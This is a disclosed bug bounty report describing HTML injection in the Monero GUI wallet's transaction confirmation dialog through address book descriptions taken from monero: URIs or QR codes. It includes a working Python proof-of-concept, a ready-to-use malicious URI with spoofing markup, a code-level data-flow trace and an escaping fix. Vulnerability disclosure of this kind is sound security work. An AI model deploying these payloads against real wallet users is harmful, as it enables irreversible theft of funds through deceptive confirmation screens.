HexBrain

Monero · Report #3679471

HTML Injection in Transaction Confirmation Dialog via Address Book Description Enables UI Spoofing Before Fund Transfer

Validstatus
mediumseverity
30upvotes
20 Aug 2026disclosed

How it was found

Summary

The Monero GUI wallet renders address book descriptions as TextEdit.RichText (HTML) in the transaction confirmation dialog (TxConfirmationDialog.qml:299) without HTML entity escaping. An attacker can craft a monero: URI or QR code with HTML markup in the tx_description parameter. When a victim adds this address to their address book and later sends a transaction to it, the injected HTML renders in the confirmation dialog - the last UI defense before irreversible fund transfer.

This enables UI spoofing where the attacker can display fake trust indicators (e.g., "+ VERIFIED EXCHANGE"), hide the real address with CSS, or inject misleading recipient labels to deceive the victim into confirming a transaction they would otherwise reject.

Releases Affected

  • All versions through v0.18.4.6 (latest release)
  • All platforms (Linux, Windows, macOS) - the vulnerability is in platform-independent QML code
  • Both simple mode and advanced mode

Steps To Reproduce

POC

#!/usr/bin/env python3

import argparse
import subprocess
import sys
import os
import urllib.parse
import json

# Attack payload - renders as green "VERIFIED EXCHANGE" badge in RichText
HTML_PAYLOAD = '<b><span style="font-size:18px;color:green">✓ VERIFIED EXCHANGE (Binance)</span></b><br><span style="font-size:4px;color:white">x</span>'

# Valid Monero stagenet address (replace with any valid address for testing)
ATTACKER_ADDRESS = "4AdUndXHHZ6cfufTMvppY6JwXNouMBzSkbLYfpAV5Usx3skxNgYeYTRJ5UzqtReoS44qo9mtmXCqY45DJ852K5Jv2684Rge"


def method_rpc(rpc_url):
    """Inject HTML directly into wallet address book via monero-wallet-rpc"""
    import requests

    print(f"[*] Connecting to wallet RPC: {rpc_url}")

    payload = {
        "jsonrpc": "2.0",
        "id": "0",
        "method": "add_address_book",
        "params": {
            "address": ATTACKER_ADDRESS,
            "description": HTML_PAYLOAD
        }
    }

    try:
        r = requests.post(rpc_url, json=payload, timeout=5)
        result = r.json()

        if "result" in result:
            idx = result["result"].get("index", "?")
            print(f"[+] INJECTED - address book entry #{idx} created")
            print(f"[+] Description contains: {HTML_PAYLOAD[:60]}...")
            print()
            print("[*] Now open Monero GUI wallet:")
            print("    1. Go to Send page")
            print("    2. Select the injected address from Address Book")
            print("    3. Enter any amount and click Send")
            print("    4. Observe the confirmation dialog - HTML renders as formatted text")
            print()
            print("[*] Expected: fake green '✓ VERIFIED EXCHANGE (Binance)' badge")
            print("    The real address label is hidden with tiny transparent text")
        else:
            print(f"[-] RPC error: {result}")

    except Exception as e:
        print(f"[-] Connection failed: {e}")
        print("    Start wallet RPC: monero-wallet-rpc --stagenet --wallet-file <wallet> --rpc-bind-port 18083 --disable-rpc-login")


def method_uri():
    """Trigger injection via monero: URI handler - opens Monero GUI"""

    uri = f"monero:{ATTACKER_ADDRESS}?tx_description={urllib.parse.quote(HTML_PAYLOAD)}"

    print(f"[*] Malicious URI:")
    print(f"    {uri}")
    print()
    print("[*] Opening via URI handler...")

    try:
        subprocess.Popen(["xdg-open", uri], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("[+] URI handler triggered - Monero GUI should open")
        print()
        print("[*] In the GUI:")
        print("    1. Address Book page opens with pre-filled fields")
        print("    2. tx_description contains HTML payload")
        print("    3. Click Add to save")
        print("    4. Send to this address → confirmation dialog shows injected HTML")
    except FileNotFoundError:
        print("[-] xdg-open not found")
        print(f"    Manually paste this URI in Monero GUI Address Book:")
        print(f"    {uri}")


def method_qr():
    """Generate QR code containing malicious monero: URI"""
    try:
        import qrcode
    except ImportError:
        print("[-] Install: pip install qrcode pillow --break-system-packages")
        sys.exit(1)

    uri = f"monero:{ATTACKER_ADDRESS}?tx_description={urllib.parse.quote(HTML_PAYLOAD)}"
    out = "/tmp/monero-gui-poc/malicious_qr.png"
    os.makedirs(os.path.dirname(out), exist_ok=True)

    qr = qrcode.make(uri)
    qr.save(out)

    print(f"[+] QR code saved: {out}")
    print(f"[*] URI encoded: {uri[:80]}...")
    print()
    print("[*] Attack scenario:")
    print("    1. Attacker shares this QR code (forum, chat, printed)")
    print("    2. Victim scans with Monero GUI (Address Book → QR scan)")
    print("    3. AddressBook.qml:354 calls parse_uri_to_object()")
    print("    4. HTML stored in address book without escaping")
    print("    5. Next transaction to this address shows spoofed confirmation dialog")


def main():
    parser = argparse.ArgumentParser(description="Monero GUI HTML Injection PoC")
    parser.add_argument("--method", choices=["rpc", "uri", "qr"], required=True)
    parser.add_argument("--rpc-url", default="http://127.0.0.1:18083/json_rpc")
    args = parser.parse_args()

    print("=" * 60)
    print("PoC: Monero GUI TxConfirmationDialog HTML Injection")
    print("Vulnerability: TxConfirmationDialog.qml:299 RichText")
    print("=" * 60)
    print()

    if args.method == "rpc":
        method_rpc(args.rpc_url)
    elif args.method == "uri":
        method_uri()
    elif args.method == "qr":
        method_qr()


if __name__ == "__main__":
    main()

Step 1: Craft a malicious monero: URI

monero:4AdUndXHHZ6cfufTMvppY6JwXNouMBzSkbLYfpAV5Usx3skxNgYeYTRJ5UzqtReoS44qo9mtmXCqY45DJ852K5Jv2684Rge?tx_description=<b><span style='font-size:18px;color:green'>+ VERIFIED EXCHANGE</span></b><br><span style='font-size:6px;color:transparent'>attacker controlled</span>

This URI can also be encoded as a QR code for physical/social engineering attacks.

Step 2: Victim adds address to address book

  1. Victim opens Monero GUI → Address Book page
  2. Victim pastes the monero: URI (or scans QR code via AddressBook.qml:354-359)
  3. AddressBook.qml:337 calls walletManager.parse_uri_to_object(addressLine.text)
  4. WalletManager.cpp:421 returns tx_description without HTML escaping
  5. AddressBook.qml:340 sets descriptionLine.text = parsed.tx_description
  6. Victim clicks "Add" → addressBook.addRow() at line 455 stores the HTML in the wallet

Step 3: Victim sends a transaction

  1. Victim initiates a transaction to the saved address
  2. Transaction confirmation dialog opens (TxConfirmationDialog.qml)
  3. Line 305: getDescription(recipient.address) retrieves the unsanitized HTML description
  4. Line 309: title = FontAwesome.addressBook + " " + addressBookName - no HTML escaping
  5. Line 320: return title + "<br>" + spacedaddress - injected into HTML string
  6. Line 299: textFormat: TextEdit.RichText - rendered as HTML
  7. Victim sees fake trust indicators and confirms the transaction

Data flow diagram

Attacker crafts malicious monero: URI / QR code
  │
  ▼
Victim pastes URI in Address Book
  │
  ├─ AddressBook.qml:337  → parse_uri_to_object()
  ├─ WalletManager.cpp:421 → tx_description returned raw (NO SANITIZATION)
  ├─ AddressBook.qml:340  → descriptionLine.text = parsed.tx_description
  └─ AddressBook.qml:455  → addRow() stores HTML in wallet address book
  │
  ▼ (later, when sending)
TxConfirmationDialog opens
  │
  ├─ Line 305 → getDescription(recipient.address) retrieves stored HTML
  ├─ Line 309 → concatenated without escaping
  ├─ Line 320 → injected into HTML: title + "<br>" + spacedaddress
  └─ Line 299 → textFormat: TextEdit.RichText renders as HTML
  │
  ▼
UI SPOOFING - victim sees manipulated confirmation dialog

Vulnerable code

// TxConfirmationDialog.qml:297-300
TextEdit {
    id: recipientValue
    textFormat: TextEdit.RichText    // <-- LINE 299: renders HTML
    readOnly: true

// TxConfirmationDialog.qml:305-320
function getRecipientContent(recipient) {
    var addressBookName = currentWallet.addressBook.getDescription(recipient.address)  // line 305
    var title = ""
    if (addressBookName) {
        title = FontAwesome.addressBook + " " + addressBookName  // line 309: NO ESCAPING
    }
    // ...
    return title + "<br>" + spacedaddress  // line 320: injected into HTML
}

Source - no sanitization in parser

// WalletManager.cpp:406-421
bool WalletManager::parse_uri_to_object(const QString &uri, ...) {
    // ...
    *tx_description = QString::fromStdString(o.tx_description);  // line 421: RAW
    return true;
}

Supporting Material/References

  • Same attack vector (malicious monero: URI) was used in CVE-2021-3401 (platformpluginpath injection, patched at main.cpp:214), but that targeted a different sink. This report targets the TxConfirmationDialog RichText rendering - a separate vulnerability.
  • The QR code scan path (AddressBook.qml:354-359) provides an additional attack vector beyond URI pasting.
  • NetworkAccessBlockingFactory at main.cpp:449-451 blocks outbound network requests from QML on Qt >= 5.12, preventing <img src="http://attacker/..."> exfiltration. However, this does NOT prevent UI spoofing via HTML/CSS formatting, which is the primary impact of this finding.
  • Additional sinks with the same root cause (unsanitized data in RichText) exist at:
    • pages/settings/SettingsLog.qml:198 - daemon console output
    • components/LineEditMulti.qml:115 - text label
    • components/LineEdit.qml:177 - text label

Suggested fix

HTML-escape all dynamic content before inserting into RichText:

// Add helper function
function escapeHtml(text) {
    return text.replace(/&/g, '&amp;')
               .replace(/</g, '&lt;')
               .replace(/>/g, '&gt;')
               .replace(/"/g, '&quot;')
               .replace(/'/g, '&#039;');
}

// TxConfirmationDialog.qml line 309 - fix:
if (addressBookName) {
    title = FontAwesome.addressBook + " " + escapeHtml(addressBookName);
}

Additionally, sanitize tx_description in WalletManager.cpp:421 before returning to QML:

*tx_description = QString::fromStdString(o.tx_description)
    .toHtmlEscaped();  // Qt built-in HTML escaping

Housekeeping

  1. Policy reviewed and followed - no live network interaction, code review and local testing only
  2. XMR Address: [INSERT YOUR XMR ADDRESS HERE]
  3. PoC URI and attack flow verified against source code at HEAD of master branch

AI Disclosure

This vulnerability was identified with assistance from AI tools (Claude Code). The code analysis, data flow tracing from URI parsing through address book storage to RichText rendering, and fix recommendations were conducted by the researcher with AI assistance. All findings were manually verified against the monero-gui source code.

Impact

The transaction confirmation dialog is the last UI defense before irreversible cryptocurrency transfer. HTML injection here enables:

  1. Address label spoofing - display "✓ Binance Hot Wallet" or "Kraken Deposit" next to the attacker's address, making the victim believe they are sending to a trusted exchange
  2. Visual deception - use CSS (font-size:1px; color:transparent) to hide the real address while showing a fake trusted address in large visible text
  3. Trust indicator injection - add green checkmarks, "VERIFIED" badges, or fake security labels that do not exist in the legitimate UI
  4. Information hiding - use display:none or matching background colors to obscure portions of the legitimate dialog content

A successful attack results in the victim voluntarily confirming a transaction to the attacker's address, believing it to be a trusted recipient. Since Monero transactions are irreversible and pseudonymous, the funds are permanently lost with no recourse.

The attack scales through QR codes distributed on social media, forums, or printed materials - anywhere a Monero address might be shared.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original